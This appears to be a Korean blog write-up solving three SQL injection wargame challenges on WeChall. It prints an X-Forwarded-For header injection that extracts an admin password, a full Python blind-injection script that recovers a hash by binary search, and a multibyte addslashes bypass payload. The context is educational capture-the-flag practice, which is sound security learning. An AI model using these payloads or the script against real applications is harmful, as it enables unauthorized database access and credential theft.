The Guestbook
글을 써서 올릴 수 있다. 소스를 분석해보면.
$playerid = gbook_playerID(true); // Current Player
$userid = 0; # guestbook has no login yet.
$time = time();
$ip = gbook_getIP();
$message = mysql_real_escape_string($message);
$query = "INSERT INTO gbook_book VALUES('$playerid', $userid, $time, '$ip', '$message')";
부분에서 취약점을 발견할 수 있다. 내가 입력한 $message는 필터링이 잘 되어있지만, playerid나 ip값은 다른 함수에서 얻어온다. playerid가 값을 얻어오는 gbook_playerID함수는 문제가 없으므로 $ip를 얻어오는 gbook_getIP()를 살펴보면 HTTP_X_FORWARDED_FOR 헤더값이 존재하면 이것을 아이피로 설정한다.
여기다가 인젝션을 하면 된다. ip에 들어갈것까지 예측해서
X-Forwarded-For: ip', (select gbu_password from gbook_user where gbu_name='Admin'))#처럼 입력하면
INSERT INTO gbook_book VALUES('$playerid', $userid, $time, 'ip', (select gbu_password from gbook_user where gbu_name='Admin'))#', '$message')
가 되어 Admin의 비밀번호가 아래에 출력되게된다.
Blinded by the light
들어가보면 md5해쉬를 128번의 요청만으로 알아내라고 한다. 근데 생각해보면 좀 힘들다. 일반적으로 알려진 효율적인 블라인드 인젝션으로는 7번까지는 줄일 수 있고, sleep을 엄청나게 잘 이용하면 한번에 알아낼수 있긴 하지만 시간이 너무 오래걸린다. 소스코드를 잘 살펴보면 md5라고는 하지만 랜덤한 비밀번호를 이렇게 생성한다.
$hash = GWF_Random::randomKey(32, 'ABCDEF0123456789');
총 16글자로 랜덤하게 32개를 뽑아내는건데, 이렇게 비밀번호를 만들 경우 128번의 요청으로도 알아내는게 가능하다. 한글자당 4번의 요청밖에 못 보내는데, 요청을 >를 이용해서 잘 만들어 보내면 된다.
ex) 1' or ascii(substr(password,1,1))>51 or 0#이렇게보내면 해당 위치의 비밀번호의 아스키값이 51보다 클 경우 Welcome back이 출력되게 되고, 아니면 Wrong가 출력되게 된다. 이런식으로 이진탐색하듯이 반씩 반씩 줄여나가면 16글자이기 때문에. 16개 -> 8개 -> 4개 -> 2개가되어 4번이면 검증이 가능하다.
1. 문자열을 오름차순으로 정렬시킨다. 0123456789ABCDEF
2. 중간의 글자인 8로 시작한다. 검사할글자 > 8이 true이면 8~F사이로 검사한다. 이런식으로 줄여나간다.
코드.
# -*- encoding: cp949 -*- import urllib2 answer = '' attack = '0123456789ABCDEF' for i in range(1,33): before = len(attack)/2 - 1 after = len(attack) for j in range(1,5): print before, after,attack[before],answer req = urllib2.Request('http://www.wechall.net/challenge/blind_light/index.php',\ 'injection=1\' or ascii(substr(password,'+str(i)+',1))>'\ +str(ord(attack[before]))+' or 0#&inject=Inject') req.add_header('cookie','WC=8532882-13590-w3EeDOIjgRexyDSc') page = urllib2.urlopen(req).read() if j==4: if page.find('Welcome back') != -1 : answer += attack[before+1] else: answer += attack[before] elif page.find('Welcome back') != -1: before = (before + after) / 2 else: after = before before = before - (8/(j*2)) #print page.find('Welcome back') print 'password =',answer
Addslashes
로그인 폼이 중국어로 되있다. 그리고 문제는 Addslashes이고, Addslashes는 멀티바이트 인코딩 시 %bf'로 '를 우회할수 있다. 중국어를 썼다는건 멀티바이트 인코딩을 했다는걸 보여주는 것이므로 아래처럼 잘 인젝션하면 된다.
%bf%27%20or%20username=0x41646d696e--%20
'webhacking > sql, sql injection' 카테고리의 다른 글
시간 기반 sqli 인젝션2 (0) | 2015.07.08 |
---|---|
mysql 레퍼런스 9. Language Structure (0) | 2015.07.08 |
securitytraps.pl Language, adm1nkyj님의 새 워게임 3. (0) | 2015.07.05 |
chall.tasteless.eu Unsolvable, Never Trust The Obvious (0) | 2015.07.04 |
wargame.kr dmbs335 (0) | 2015.06.27 |